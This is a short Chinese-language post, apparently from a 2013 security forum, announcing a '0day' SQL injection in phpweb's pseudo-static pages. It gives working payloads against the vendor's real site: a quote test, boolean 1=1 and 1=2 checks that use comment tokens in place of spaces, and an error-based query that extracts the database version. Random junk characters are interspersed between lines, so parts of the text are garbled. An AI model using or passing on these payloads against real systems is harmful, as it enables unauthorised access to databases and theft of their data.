phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

主站：http://phpweb.net/
加’检测：

http://www.phpweb.net/down/html/?772′.html
8 M- |9 C$ P0 X& y
出错
存在注入。
不能用空格，只能用/*罗
( m6 N+ b' I# Vhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
+ E5 b" X0 V0 Z1 D- q# O5 m
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
  s- g; M' d8 B3 Q6 x$ z爆数据库版本：
6 x# e; `4 O8 j+ Y, F5 ^. L& V
/ s& a% C$ B! B# L- k$ V5 ^+ c?
1
) f" I( f, N1 B2 R. o# g/ d8 Qhttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
1 o6 N# d8 B  D* d' B更新日期: 2013-01-03 13:39:50        
9 g7 F2 X) a1 Z- X$ s